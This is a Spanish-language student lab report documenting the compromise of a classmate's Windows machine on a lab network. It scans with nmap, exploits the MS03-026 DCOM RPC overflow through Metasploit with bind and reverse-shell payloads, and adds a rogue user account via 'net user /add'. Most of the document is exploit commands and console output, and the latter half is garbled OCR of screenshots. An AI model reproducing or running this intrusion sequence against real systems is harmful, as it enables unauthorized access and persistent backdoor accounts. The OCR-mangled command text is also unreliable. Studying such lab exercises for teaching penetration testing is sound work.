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Reporte de Actividades:
1. Identificación de vulnerabilidades para explotación
· Con la IP 192.168.3.35 (Equipo de Nery)
2. Id de vulnerabilidades del sistema
3. Buscar el exploit para explotar vulnerabilidades (Meta exploit)
4. Explotar vulnerabilidades (abrir un shell y crear una cuenta de usuario)

1. En la clase pasada se corrieron ciertos comandos con NMap para obtener los puertos abiertos, el sistema operativo asi como otras características del equipo a atacar como son las versiones de los programas instalados.  Ejemplo de comando: nmap -PO -O 192.168.3.35 puertosNery.txt
[image: ]
2. Ocupamos el MS03 hay otros similares como:
· exploit/windows/dcerpc/ms05_017_msmq 
· exploit/windows/dcerpc/ms07_029_msdns_zonename 
· exploit/windows/dcerpc/ms07_065_msmq 

3. Se ocupo la siguiente exploit que explota la vulnerabilidad de Desbordamiento de Interface Microsoft RPC DCOM 
Este modulo explota un stack buffer overflow en el servicio de RPCSS, esta vulneravilidad es originalmente encontrada por el últimos estado de etapa del grupo de investigación “Delirium” y ha sido ampliamente explotado desde entonces. En este módulo se pueden aprovechar las versiones en Inglés de Windows NT 4.0 Service Pack 3-6a, Windows 2000, Windows XP y Windows 2003 en un solo pedido. 
Objetivos 
   Windows NT SP3-6a/2000/XP/2003 universal (por defecto) 
Información de uso 
Desbordamiento de búfer en interfaz de una cierta DCOM RPC de Microsoft para Windows NT 4.0, 2000, XP y Server 2003 permite a atacantes remotos ejecutar código arbitrario mediante un mensaje con formato incorrecto, tan explotado por el Blaster / Msblast / LovSan y Nachi / Welchia gusanos
Después de probar varios exploits se procede a documentar el que funciono ya que varia cada exploit con el nivel de actualización que contenga dicho equipo.
Primero
En la consola de Metasploit ejecutaos el comando:  
· use exploit/windows/dcerpc/ms03_026_dcom
· show payloads
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Después ejecutamos el comando 
· set PAYLOAD windows/meterpreter/bind_tcp
· set RHOST 192.168.3.35 (Máquina Atacada)
· set LHOST 192.168.3.24 (Máquina Local)
· exploit (ejecutamos el exploit)
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Dentro del sistema ejecute comandos básicos de msdos para situarme en raíz y crear una carpeta que se llame prueba y otra cvb:
· cd ..
· mkdir prueba cvb
· dir
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Posteriormente ejecute el siguiente comando para crear un usuario y contraseña dentro del equipo.
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[bookmark: _GoBack]Run getgui –u <usuario> -p <password>
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st exploit(mot 020 i) > set PAYLOAD generic/shell_reverse_tcp
[PALORD = generic/shell_reverse_tcp

et explontint Co orun) 5 et LWOST 192.168.3.24

LRosT =152, 165.3.24

mst explortied 050 o) > set RHOST 192.168.3.35

RiosT = 152.165.3.35

mst - exploit(inc: o0 dem) > exploit

Started reverse handler on 192.168.3.24:4444
Trying target Windows NT $P3-6a/2000/%/2003 Universal...
Binding to 4d9f4abe-7dlc-11cf-351e-0020aF6e7c57 10.0AnCaEn_ip_cp:192.168.3.35 (135] .
Sound' %o ddstaghs-7dnc-Tice sste-020arberes: 0.0bncacn p tep:192.166.3 3 1135]
Sending exploit

Comand shell session 1 opened (192.168.3.24:4444 -> 192.168.3.35:1095) at 2010-09-20 14:37:00 -0600
The DCERPC service did not reply to our Fequest
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Started reverse handler on 192.168.3.24:4444
Trying target Windows NT SP3-6a/2000/%P/2003 Universal...

Binding to 4d9faabs-rdic-11cF-S61e-0020are7cE7 10.0AnCacn ip_tep:192.168.3.35 (135] .

Sound o daragbs-7aic-11cF-g61e-0020arGer <57 10.08ncacn_ 5 Lep 1921683, 35 [135] -1

Sending exploit ...

Command shel] sesiion 1 opened (192.168.3.24:4444 -> 192.168.3.35:1095) at 2010-09-20 14137100 0600
The DCERPC service did not reply ta our request

icrosoft windows [version s.2.3790]
(C)' Copyright 1985-2003 Microsoft Carp.

c :\winoous\systenszacd ..
<

i not recognized as an jnternal or external command,
operable program or batch file.

c:\omcdir prucba cvb
ricdir prueba cvb

Volume in drive C has no label.
Volume Serial Number 15 FCO0-CiBB

Directory of €2\
0 AUTOEXEC, BAT

0 CONFIG. S¥S
o1 b
D18 Documents and Settings
1% Program Files
p5es prucba
o185 wanp.
o105 WiNbous
o105 wrpub
0 bytes

15,167,186,544 bytes free





image5.jpeg
C:\»>net user CVB_te_infiltrado 1234 /addf}
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C:\>net user CVB_te_infiltrado 1234 /add
net user CVB_te_infiltrado 1234 /Jadd
The conmand completed successfully.
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C:\>rund1132 netplwiz.dll, UserRunD1l
rund1132 netplwiz.d11, UserRunD1l

B |
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[C:\Nmap_Marcos>nnap 192.168.3.35

Starting Nmap 5.21 ¢ htt
1 CMixico>
[Note: Host seems down. If it is really up, but blocking our ping probes. try —P|

/nmap.org > at 2816-89-20 15:36 Hora de verano cent|

Nnap done: 1 IP address <@ hosts up) scanned in 1.97 seconds





